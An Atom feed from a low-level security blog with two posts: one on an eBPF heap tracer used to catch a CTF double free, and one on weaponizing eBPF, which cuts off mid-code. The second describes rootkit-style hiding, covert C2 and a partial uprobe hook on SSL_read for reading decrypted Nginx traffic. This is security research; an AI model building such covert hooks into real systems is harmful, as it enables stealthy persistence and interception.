<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2026-01-22T17:24:46+02:00</updated><id>/feed.xml</id><title type="html">AtoZ132’s blog</title><subtitle>Low Level Security Blog</subtitle><author><name>AtoZ132</name></author><entry><title type="html">Tachi - eBPF Memory Tracer</title><link href="/2026/01/22/Tachi-ebpf-memory-tracer.html" rel="alternate" type="text/html" title="Tachi - eBPF Memory Tracer" /><published>2026-01-22T16:20:00+02:00</published><updated>2026-01-22T16:20:00+02:00</updated><id>/2026/01/22/Tachi-ebpf-memory-tracer</id><content type="html" xml:base="/2026/01/22/Tachi-ebpf-memory-tracer.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Previously, we discussed eBPF’s history and features, learning how it works and the subsystems it utilizes to provide a rich set of capabilities. We saw how eBPF could be used as a powerful tool at the hands of a malicious actor. In this post we will explore a different usage of eBPF, harnessing eBPF to understand a process’s heap allocation behavior.</p>

<p>eBPF is leveraged as an observability tool for networks and packet filtering. That is but one use-case out of many others. It provides us tools to peer into all the inner machinery of the system - user and kernel mode, remote and local traffic. We can harness Uprobes again (if you recall the <a href="https://atoz132.github.io/2026/01/15/dark-ebpf-weaponizing-ebpf-for-covert-communications.html">previous post</a>, Uprobes was the main character there) to trace a program’s heap allocation behavior, like <a href="https://valgrind.org/">Valgrind</a> but with hooks.</p>

<p>This post showcases Tachi - a heap tracing tool I developed.</p>

<h5 id="what-is-heap-tracing">What is Heap Tracing?</h5>

<p>Heap tracing is a technique that allows us to inspect events (allocating, freeing, reallocation) in the heap during runtime and gain a clear timeline and info of the sizes and locations of memory chunks being used by the program. This is beneficial to:</p>

<ul>
  <li>Realtime understanding of program behavior</li>
  <li>Performance monitoring</li>
  <li>Vulnerability research</li>
</ul>

<h2 id="concepts">Concepts</h2>

<p>Our heap tracing engine will collect data by using Uprobes to hook <code class="language-plaintext highlighter-rouge">malloc</code>, <code class="language-plaintext highlighter-rouge">calloc</code>, <code class="language-plaintext highlighter-rouge">realloc</code> and <code class="language-plaintext highlighter-rouge">free</code> from the GLIBC (focusing specifically on programs using this allocator). By hooking these functions we can track <strong>what</strong> is allocated, <strong>where</strong> it is allocated and <strong>who</strong> (the address of the caller) allocates it.<br />
We create several hooks, to collect data from each selected allocation function. Uprobes enable us to hook usermode functions (Where Kprobes allows the same but in the kernel) both at their entry and just before they return. With a hook at the entrance we collect the event itself, process id, thread id, the address in the code where malloc was called - we do that by dereferencing the stack pointer we receive in the context. At that address we will find the saved return address for malloc to return to after it finishes (actually the return address will be the instruction <strong>after</strong> malloc).</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SEC</span><span class="p">(</span><span class="s">"uprobe/malloc"</span><span class="p">)</span>  
<span class="kt">int</span> <span class="nf">malloc_enter</span><span class="p">(</span><span class="k">struct</span> <span class="n">pt_regs</span><span class="o">*</span> <span class="n">ctx</span><span class="p">)</span> <span class="p">{</span>  
    <span class="n">__u64</span> <span class="n">pid_tgid</span> <span class="o">=</span> <span class="n">bpf_get_current_pid_tgid</span><span class="p">();</span>  
    <span class="n">__u32</span> <span class="n">tid</span> <span class="o">=</span> <span class="p">(</span><span class="n">__u32</span><span class="p">)</span><span class="n">pid_tgid</span><span class="p">;</span>  
    <span class="k">struct</span> <span class="n">alloc_entry</span> <span class="n">entry</span> <span class="o">=</span> <span class="p">{};</span>  
    <span class="n">entry</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="n">PT_REGS_PARM1</span><span class="p">(</span><span class="n">ctx</span><span class="p">);</span>  
    <span class="n">entry</span><span class="p">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">EVENT_MALLOC</span><span class="p">;</span>  
      
    <span class="n">bpf_probe_read_user</span><span class="p">(</span><span class="o">&amp;</span><span class="n">entry</span><span class="p">.</span><span class="n">caller</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">entry</span><span class="p">.</span><span class="n">caller</span><span class="p">),</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">PT_REGS_SP</span><span class="p">(</span><span class="n">ctx</span><span class="p">));</span>  
    <span class="n">bpf_map_update_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">alloc_entry_map</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">entry</span><span class="p">,</span> <span class="n">BPF_ANY</span><span class="p">);</span>  
      
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
<span class="p">}</span>  
</code></pre></div></div>
<p>The malloc return is also hooked to retrieve its return value, which is the address where the allocated chunk can be found in the heap.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SEC</span><span class="p">(</span><span class="s">"uretprobe/malloc"</span><span class="p">)</span>  
<span class="kt">int</span> <span class="nf">alloc_exit</span><span class="p">(</span><span class="k">struct</span> <span class="n">pt_regs</span><span class="o">*</span> <span class="n">ctx</span><span class="p">)</span> <span class="p">{</span>   
    <span class="n">__u64</span> <span class="n">pid_tgid</span> <span class="o">=</span> <span class="n">bpf_get_current_pid_tgid</span><span class="p">();</span>  
    <span class="n">__u32</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">pid_tgid</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">;</span>  
    <span class="n">__u32</span> <span class="n">tid</span> <span class="o">=</span> <span class="p">(</span><span class="n">__u32</span><span class="p">)</span><span class="n">pid_tgid</span><span class="p">;</span>  
    <span class="n">__u64</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">PT_REGS_RC</span><span class="p">(</span><span class="n">ctx</span><span class="p">);</span>  
      
    <span class="k">struct</span> <span class="n">alloc_entry</span><span class="o">*</span> <span class="n">entry</span> <span class="o">=</span> <span class="n">bpf_map_lookup_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">alloc_entry_map</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tid</span><span class="p">);</span>  
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">entry</span><span class="p">)</span>  
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
          
    <span class="n">bpf_map_delete_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">alloc_entry_map</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tid</span><span class="p">);</span>  
      
    <span class="k">if</span> <span class="p">(</span><span class="n">addr</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">!=</span> <span class="n">EVENT_REALLOC</span><span class="p">)</span>  
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
      
    <span class="k">struct</span> <span class="n">event</span><span class="o">*</span> <span class="n">e</span> <span class="o">=</span> <span class="n">bpf_ringbuf_reserve</span><span class="p">(</span><span class="o">&amp;</span><span class="n">events</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">e</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>  
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">e</span><span class="p">)</span>  
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
      
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">pid</span> <span class="o">=</span> <span class="n">pid</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">tid</span> <span class="o">=</span> <span class="n">tid</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">size</span> <span class="o">=</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">caller</span> <span class="o">=</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">caller</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">old_addr</span> <span class="o">=</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">old_addr</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">=</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">type</span><span class="p">;</span>  
      
    <span class="n">bpf_ringbuf_submit</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>  
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
 <span class="p">}</span>  
</code></pre></div></div>
<p>For <code class="language-plaintext highlighter-rouge">free</code> we do the same thing we did with the <code class="language-plaintext highlighter-rouge">malloc</code> hook.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SEC</span><span class="p">(</span><span class="s">"uprobe/free"</span><span class="p">)</span>  
<span class="kt">int</span> <span class="nf">free_enter</span><span class="p">(</span><span class="k">struct</span> <span class="n">pt_regs</span><span class="o">*</span> <span class="n">ctx</span><span class="p">)</span> <span class="p">{</span>   
    <span class="n">__u64</span> <span class="n">pid_tgid</span> <span class="o">=</span> <span class="n">bpf_get_current_pid_tgid</span><span class="p">();</span>  
    <span class="n">__u32</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">pid_tgid</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">;</span>  
    <span class="n">__u32</span> <span class="n">tid</span> <span class="o">=</span> <span class="p">(</span><span class="n">__u32</span><span class="p">)</span><span class="n">pid_tgid</span><span class="p">;</span>  
    <span class="n">__u64</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">PT_REGS_PARM1</span><span class="p">(</span><span class="n">ctx</span><span class="p">);</span>  
      
    <span class="k">if</span> <span class="p">(</span><span class="n">addr</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>  
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
      
    <span class="k">struct</span> <span class="n">event</span><span class="o">*</span> <span class="n">e</span> <span class="o">=</span> <span class="n">bpf_ringbuf_reserve</span><span class="p">(</span><span class="o">&amp;</span><span class="n">events</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">e</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>  
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">e</span><span class="p">)</span>  
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
      
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">pid</span> <span class="o">=</span> <span class="n">pid</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">tid</span> <span class="o">=</span> <span class="n">tid</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">;</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">old_addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>  
    <span class="n">bpf_probe_read_user</span><span class="p">(</span><span class="o">&amp;</span><span class="n">e</span><span class="o">-&gt;</span><span class="n">caller</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">e</span><span class="o">-&gt;</span><span class="n">caller</span><span class="p">),</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">PT_REGS_SP</span><span class="p">(</span><span class="n">ctx</span><span class="p">));</span>  
    <span class="n">e</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">=</span> <span class="n">EVENT_FREE</span><span class="p">;</span>  
      
    <span class="n">bpf_ringbuf_submit</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>  
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
 <span class="p">}</span>  
</code></pre></div></div>

<p>With these hooks, we can collect all the information we need to understand what goes on in the heap (there are more functions like <code class="language-plaintext highlighter-rouge">posix_memalign</code> and other aligned allocators but I’ve decided to limit the scope to the more common functions at this point in time). After passing the collected data to the userland, the role of the eBPF program ends and it’s up to the userland program to process and analyze it.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">event</span> <span class="p">{</span>  
    <span class="kt">uint32_t</span> <span class="n">pid</span><span class="p">;</span>  
    <span class="kt">uint32_t</span> <span class="n">tid</span><span class="p">;</span>  
    <span class="kt">uint64_t</span> <span class="n">size</span><span class="p">;</span>  
    <span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">;</span>  
    <span class="kt">uint64_t</span> <span class="n">caller</span><span class="p">;</span>  
    <span class="kt">uint64_t</span> <span class="n">old_addr</span><span class="p">;</span>  
    <span class="kt">uint8_t</span> <span class="n">type</span><span class="p">;</span>  
<span class="p">};</span>  
</code></pre></div></div>

<p>With this event structure we can keep track of the state of the heap. Additional information of which function was called and <code class="language-plaintext highlighter-rouge">realloc</code> address changes is also documented. Since we keep track of how many chunks are still allocated we can see if there are any memory leaks present in the program after the process exits. We can also maintain a hash table to keep track of freed chunks and look-up during a free event to check if a double free has occurred.</p>

<h2 id="showcase">Showcase</h2>

<p>Moving forward with these concepts and ideas I’ve decided to wrap it all together as a project with a text-based UI. Tachi has all the above features implemented in it and can hook into a process dynamically to trace the above mentioned functions.<br />
Beside being able to detect bugs like double free and simple memory leaks, it can work with debuggers to further help with debugging and provide the information immediately.</p>

<h5 id="example-how2heap---house_of_botcake--potluckctf2023">Example: how2heap - house_of_botcake / PotluckCTF2023</h5>

<p>Let’s check out a CTF challenge from PotluckCTF2023, this challenge is featured in the <a href="https://github.com/shellphish/how2heap">how2heap</a> repository (recommended for anyone who wants to learn heap exploitation techniques in Linux GLIBC). The “house_of_botcake” entry refers to the “<a href="https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki">Tamagoyaki</a>” challenge from PotluckCTF2023, the challenge contains a double free vulnerability which we can use to demonstrate Tachi.<br />
The challenge presents a simple action menu, “1” allocates a buffer, “2” frees a buffer.<br />
<img src="/assets/img/Tachi/showcase1.png" />
We choose “1” to allocate a buffer of size 123 bytes. As we can see, Tachi traces it.<br />
<img src="/assets/img/Tachi/showcase2.png" />
Let’s proceed to call free on that buffer<br />
<img src="/assets/img/Tachi/showcase3.png" /> 
As we saw from the event, the buffer was indeed freed. Let’s try to free that buffer again :)<br />
<img src="/assets/img/Tachi/showcase4.png" />
We got a double free (the crash says killed instead of “double free detected” due to a <a href="https://man7.org/linux/man-pages/man2/seccomp.2.html#DESCRIPTION">seccomp strict rule</a> being set in the code) and Tachi captured the event!</p>

<h3 id="future-work">Future work</h3>

<p>There are additional features I might implement someday like expanding to more allocation functions and supporting different allocators.</p>

<h2 id="references">References</h2>

<ul>
  <li>First post - <a href="https://atoz132.github.io/2026/01/15/dark-ebpf-weaponizing-ebpf-for-covert-communications.html">Dark eBPF – Weaponizing eBPF for covert communications</a></li>
  <li>Tachi source code - <a href="https://github.com/AtoZ132/Tachi">https://github.com/AtoZ132/Tachi</a></li>
</ul>]]></content><author><name>AtoZ132</name></author><category term="eBPF" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">Dark eBPF - Weaponizing eBPF for covert communications</title><link href="/2026/01/15/dark-ebpf-weaponizing-ebpf-for-covert-communications.html" rel="alternate" type="text/html" title="Dark eBPF - Weaponizing eBPF for covert communications" /><published>2026-01-15T16:20:00+02:00</published><updated>2026-01-15T16:20:00+02:00</updated><id>/2026/01/15/dark-ebpf-weaponizing-ebpf-for-covert-communications</id><content type="html" xml:base="/2026/01/15/dark-ebpf-weaponizing-ebpf-for-covert-communications.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>As malware detection and response systems are becoming more sophisticated and resilient, attackers are devising new evasion methods to carry out successful offensive campaigns. Central to these efforts is maintaining covert C2 (Command and Control) communications with compromised hosts - essential for remaining undetected while maintaining long-term access to target systems.</p>

<p>In this article, we’ll explore how one could possibly abuse eBPF for malicious purposes. Along the way we will get a grasp of what eBPF is and what it offers to fully understand why attackers find this technology useful enough to carry out their operations.</p>

<h2 id="background">Background</h2>

<h3 id="what-is-ebpf">What is eBPF?</h3>
<p>eBPF is an extension to the older Berkeley Packet Filter (BPF). The BPF was <a href="https://www.tcpdump.org/papers/bpf-usenix93.pdf">published</a> in 1992, it was based on various research papers on pseudo-machines for packet filtering. BPF brings its own Instruction Set Architecture (ISA) and is executed in an in-kernel VM. BPF was invented to improve the existing packet filters, and all this was a bit before Linux was first released and so all this started with BSD. Later on, it was introduced to Linux. Fast forwarding almost two decades, to 2014, BPF’s instruction set architecture was <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8">updated</a> and it was designed to be JITed. At that time it was only used internally and some time later eBPF started to be exposed to user space.</p>

<p>As eBPF continued to grow, several subsystems were introduced. These subsystems are mainly focused on debugging, packet analysis and filtering.</p>

<ul>
  <li><strong>Kprobes / Kretprobes</strong> - Enable interception of kernel function calls and introspection of arguments and return value, at function entry and return, respectively.</li>
  <li><strong>Uprobes / Uretprobes</strong> - The userspace version of Kprobes / Kretprobes.</li>
  <li><strong>Tracepoints</strong> - Static hook points in the kernel (unlike kprobes which are dynamic hook points). Tracepoints exist in predefined points in the kernel’s code, and export more information about function arguments (and not just raw registers).</li>
  <li><strong>USDT (Userland Statically Defined Tracing)</strong> - The usermode version of tracepoints.</li>
  <li><strong>XDP</strong> (eXpress Data Path) - High-performance kernel packet processing framework, providing low-level, network driver level access. With XDP packets can be filtered as soon as they arrive through the network interface and before being processed by the network stack.</li>
  <li><strong>TC</strong> - Linux traffic control (tc) hooks for filtering, shaping, or monitoring packets in the network stack</li>
</ul>

<p>Other prominent features are <a href="https://docs.kernel.org/bpf/maps.html">maps</a> and <a href="https://man7.org/linux/man-pages/man7/bpf-helpers.7.html">Helper functions</a>.</p>
<ul>
  <li><strong>Maps</strong> - Enable sharing data between the kernel and user space. Important for communicating extracted information, and also used for local storage (since eBPF program local stack space is limited).</li>
  <li><strong>Helper functions</strong> - Set of kernel-defined helper functions for using the BPF maps, accessing memory (e.g. <code class="language-plaintext highlighter-rouge">bpf_probe_write_user</code> function writes data to a buffer returned to the user-space from kernel-space), retrieving some kernel structures (e.g. <code class="language-plaintext highlighter-rouge">task_struct</code> for a given process).</li>
</ul>

<h3 id="loading-and-running-ebpf-programs">Loading and running eBPF programs</h3>

<p>The lifecycle of an eBPF program is as follows:
<img src="/assets/img/dark-ebpf/ebpf-processing-chart.png" /></p>

<h4 id="loading-process">Loading process</h4>

<p>eBPF programs are loaded into the kernel through the <a href="https://man7.org/linux/man-pages/man2/bpf.2.html">bpf()</a> syscall. Compilers like Clang can compile a BPF program written in C to bytecode, then pass it to the kernel via the <code class="language-plaintext highlighter-rouge">bpf()</code> syscall. The loader program specifies the program type (such as <code class="language-plaintext highlighter-rouge">XDP</code>, <code class="language-plaintext highlighter-rouge">TC</code>, <code class="language-plaintext highlighter-rouge">kprobes</code>, or <code class="language-plaintext highlighter-rouge">tracepoint</code>); These program types are specified in the <code class="language-plaintext highlighter-rouge">attr</code> argument that is passed in the <code class="language-plaintext highlighter-rouge">bpf()</code> syscall. Once loaded, the loader program receives a file descriptor that can be used to manage it. For C programs there is <a href="https://github.com/libbpf/libbpf"><code class="language-plaintext highlighter-rouge">libbpf</code></a> - a client library containing a BPF loader that takes compiled BPF object files and prepares and loads them into the Linux kernel (there are client libraries for several other languages like Rust, Go and Python).</p>

<h5 id="verifier">Verifier</h5>

<p>eBPF is designed to expose kernel capabilities in a safe manner, which would not harm the system. The verifier enforces this design, statistically analyzing the loaded program and making sure the program does not violate any constraint. These constraints are as follows:</p>

<ul>
  <li>Loops are bounded (in earlier kernel versions before v5.3 <a href="https://lwn.net/ml/netdev/20190615191225.2409862-1-ast@kernel.org/">loops didn’t exist at all</a> and had to be unrolled).</li>
  <li>A program can have up to one million instructions executed.</li>
  <li>Stack size is limited to 512 bytes per program (and 256 bytes if you <a href="https://docs.ebpf.io/linux/concepts/tail-calls/">tail call</a> eBPF programs - tail calls are limited to 32 tail calls).</li>
  <li>No unreachable code.</li>
  <li>No out-of-bounds or malformed jumps.</li>
  <li>No arbitrary pointer dereference.</li>
  <li>No out-of-bounds memory access.</li>
  <li>Use of uninitialized variables is not allowed.</li>
</ul>

<p>If any violation is found, the verifier rejects the program and it is not loaded.</p>

<h5 id="running-an-ebpf-program">Running an eBPF program</h5>

<p>To run an eBPF program a user requires at bare minimum the <code class="language-plaintext highlighter-rouge">CAP_BPF</code> capability for basic eBPF programs and usage of eBPF maps. For networking programs, <code class="language-plaintext highlighter-rouge">CAP_NET_ADMIN</code> is also needed. <code class="language-plaintext highlighter-rouge">CAP_SYS_ADMIN</code> (equivalent to root privileges) contains all the necessary permissions.</p>

<h6 id="bpftrace---example"><em>bpftrace - example</em></h6>

<p><a href="https://github.com/bpftrace/bpftrace">bpftrace</a> is a high level language that uses LLVM to convert scripts to eBPF bytecode. It’s very convenient for writing quick eBPF programs. We’ll use it to look at a small example of one of eBPF’s uses:<br />
This program uses <code class="language-plaintext highlighter-rouge">tracepoints</code> to trace calls to <code class="language-plaintext highlighter-rouge">chmod</code>.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ dark_ebpf@dark-ebpf ~ <span class="nb">sudo </span>bpftrace <span class="nt">-e</span> <span class="s1">'tracepoint:syscalls:sys_enter_fchmodat { printf("%s: %s\n", comm, str(args-&gt;filename)); }'</span>  
Attaching 1 probe…  
<span class="c"># If we run now `chmod +x my_file` we will get:  </span>
<span class="nb">chmod</span>: my_file  
</code></pre></div></div>

<h2 id="ebpf-for-malware">eBPF for Malware</h2>

<p>Now that we have an idea of what eBPF is and what you can do with it, let’s focus on how attackers can weaponize eBPF for their malware.</p>

<h3 id="value-for-malware">Value for malware</h3>

<p>As we saw, eBPF exposes a lot of tracing and hooking subsystems which provide everything needed for collecting data at key locations, both in the kernel and user space.</p>

<h6 id="network-hooks-for-stealthy-comms--manipulation"><em>Network hooks for stealthy comms &amp; manipulation</em></h6>

<p>Attackers can establish communications with remote entities in a stealthy manner by using subsystems like <code class="language-plaintext highlighter-rouge">XDP</code>. This enables eBPF programs to capture packets as they’re received in the network interface and before going through the network stack. This way, attackers can use it to collect incoming and outgoing network traffic and stealthily receive messages addressed to the malware from the outside even though the packet was not directly addressed to it (contrary to opening a socket and communicating with an external entity). Attackers can manipulate buffers meant for outgoing traffic to exfiltrate data.</p>

<h6 id="kernel-level-visibility"><em>Kernel level visibility</em></h6>

<p>eBPF can observe syscalls, kernel events, network packets, sockets, and function entry/exit using Kprobes and tracepoints. That means an attacker gets a complete picture on any process and any events occurring in the kernel or the user space.</p>

<h6 id="defense-evasion-and-rootkit-capabilities"><em>Defense evasion and rootkit capabilities</em></h6>

<p>eBPF enables classic rootkit functionality without requiring traditional kernel modules. While the methods and tools available for tampering with data in eBPF programs are limited, employing the bpf-helper function <code class="language-plaintext highlighter-rouge">bpf_probe_write_user</code> to modify data coming from kernel to user space does the job. E.g. the classic file listing evasion in linux rootkits - intercepting (using Kprobes) and modifying the <code class="language-plaintext highlighter-rouge">getdents64</code> output to disappear from the listing can be done. Similarly, this holds true for the other classic interceptions (hiding from ps, top, and process monitoring tools).</p>

<h3 id="constraints-and-limitations-for-malware">Constraints and limitations for malware</h3>

<p>Albeit having many advantages to using eBPF there are several constraints and limitations that need to be understood to know what can and can’t be done with eBPF:</p>

<ul>
  <li><strong>Limited kernel interaction</strong> - eBPF programs cannot directly call arbitrary kernel functions - they’re restricted to a whitelist of helper functions approved for their program type. This limits what operations malware can perform directly from kernel space. eBPF programs cannot make system calls, spawn processes, perform blocking operations like sleep, or directly allocate large memory buffers. File I/O, network socket operations, and complex cryptographic operations must be handled by userspace components.</li>
  <li><strong>Verifier restrictions and complexity limits</strong> - Earlier we explored the limitations the verifier poses on eBPF programs. Programs are restricted to one million instructions maximum, forcing complex malicious logic to be split across multiple programs or offloaded to userspace components. Loops must be bounded. The 512-byte stack limit (256 bytes with tail calls) constrains local variable usage and forces reliance on eBPF maps for data storage. Pointer arithmetic is heavily restricted - attackers cannot freely manipulate memory addresses or perform operations that could access arbitrary kernel memory. These constraints mean that an “almighty” malware cannot be implemented purely in eBPF.</li>
  <li><strong>Privilege requirements</strong> - Loading eBPF programs requires elevated privileges - specifically <code class="language-plaintext highlighter-rouge">CAP_BPF</code> and <code class="language-plaintext highlighter-rouge">CAP_SYS_ADMIN</code> (or just <code class="language-plaintext highlighter-rouge">CAP_SYS_ADMIN</code> on older kernels), and <code class="language-plaintext highlighter-rouge">CAP_NET_ADMIN</code> for network-related programs.</li>
  <li><strong>Audit logging and detection</strong> - Loaded eBPF programs are not truly hidden - they’re visible through standard tools. The <a href="https://github.com/libbpf/bpftool">bpftool</a> utility can enumerate all loaded programs, their types, attach points, instruction counts, and associated maps.</li>
</ul>

<p>With bpftool we can observe the loaded probes from our demo later:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>bpftool prog show

479: kprobe  name probe_SSL_read_enter  tag b53d622f6f618444  gpl  
        loaded_at 2026-01-10T23:24:30+0300  uid 0  
        xlated 120B  jited 75B  memlock 4096B  map_ids 296,301,302  
        btf_id 496  
481: kprobe  name probe_SSL_read_exit  tag 53a8f27a5f8263aa  gpl  
        loaded_at 2026-01-10T23:24:30+0300  uid 0  
        xlated 800B  jited 467B  memlock 4096B  map_ids 296,297,299,298,301,302  
        btf_id 496  
482: kprobe  name probe_SSL_write_enter  tag e34744bccc6b3afb  gpl  
        loaded_at 2026-01-10T23:24:30+0300  uid 0  
        xlated 1000B  jited 714B  memlock 4096B  map_ids 298,302,301  
        btf_id 496  
</code></pre></div></div>

<h3 id="malicious-ebpf-usage-example">Malicious eBPF usage example</h3>

<p>For our example we will focus on a scenario where an attacker acquires RCE via a shell injection vulnerability hosted on Nginx, and they wish to gain persistent access. The attacker discovers that the endpoint is vulnerable to a privilege escalation n-day and exploits it to gain root access (which gets them the necessary privileges to load the eBPF malware). Upon attempts to communicate with the target’s server, they discover that the outbound connections are blocked by the organization’s firewall. The attacker drops the eBPF malware on the Nginx target machine and communicates with it using HTTPS request/responses. We will demonstrate how the eBPF communications can be achieved in this scenario.</p>

<p>One guaranteed way to communicate with the outside world is through Nginx - hooking its HTTPS traffic.</p>

<p><img src="/assets/img/dark-ebpf/attacker-chart.png" /></p>

<h3 id="reading-nginx-https-traffic">Reading Nginx HTTPS Traffic</h3>

<p>To get the HTTPS traffic the attacker needs to place the hook at a point where the HTTPS request is already decrypted. Luckily for the attacker, Nginx is an open source project and it can analyze the code to find the relevant function to hook. However, the Nginx binary is stripped, that means for <code class="language-plaintext highlighter-rouge">Uprobes</code> they need an address of the relevant function. This extra work can easily be saved by hooking <code class="language-plaintext highlighter-rouge">libssl</code>’s <code class="language-plaintext highlighter-rouge">SSL_read</code> function. This one is guaranteed to have its symbol present since it’s a library call. By placing a <code class="language-plaintext highlighter-rouge">uretprobe</code> on <code class="language-plaintext highlighter-rouge">SSL_read</code> the attacker can grab the decrypted traffic, and search for the commands from the C2 server without alerting anything. For this example consider the magic value “0x1337” for a command from the C2.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Hook the entry to save the buffer pointer  </span>
<span class="n">SEC</span><span class="p">(</span><span class="s">"uprobe/SSL_read"</span><span class="p">)</span>  
<span class="kt">int</span> <span class="nf">probe_SSL_read_enter</span><span class="p">(</span><span class="k">struct</span> <span class="n">pt_regs</span> <span class="o">*</span><span class="n">ctx</span><span class="p">)</span> <span class="p">{</span>  
    <span class="c1">// function signature - SSL_read(SSL *ssl, void *buf, int num)  </span>
    <span class="n">__u64</span> <span class="n">pid_tgid</span> <span class="o">=</span> <span class="n">bpf_get_current_pid_tgid</span><span class="p">();</span>  
    <span class="n">__u32</span> <span class="n">tid</span> <span class="o">=</span> <span class="p">(</span><span class="n">__u32</span><span class="p">)</span><span class="n">pid_tgid</span><span class="p">;</span>
    <span class="n">__u64</span> <span class="n">buf</span> <span class="o">=</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">rsi</span><span class="p">;</span>  
      
    <span class="n">bpf_map_update_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">bufs</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">buf</span><span class="p">,</span> <span class="n">BPF_ANY</span><span class="p">);</span>  
      
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
<span class="p">}</span>

<span class="n">SEC</span><span class="p">(</span><span class="s">"uretprobe/SSL_read"</span><span class="p">)</span>
<span class="kt">int</span> <span class="nf">probe_SSL_read_exit</span><span class="p">(</span><span class="k">struct</span> <span class="n">pt_regs</span> <span class="o">*</span><span class="n">ctx</span><span class="p">)</span> <span class="p">{</span>  
<span class="c1">//…    </span>
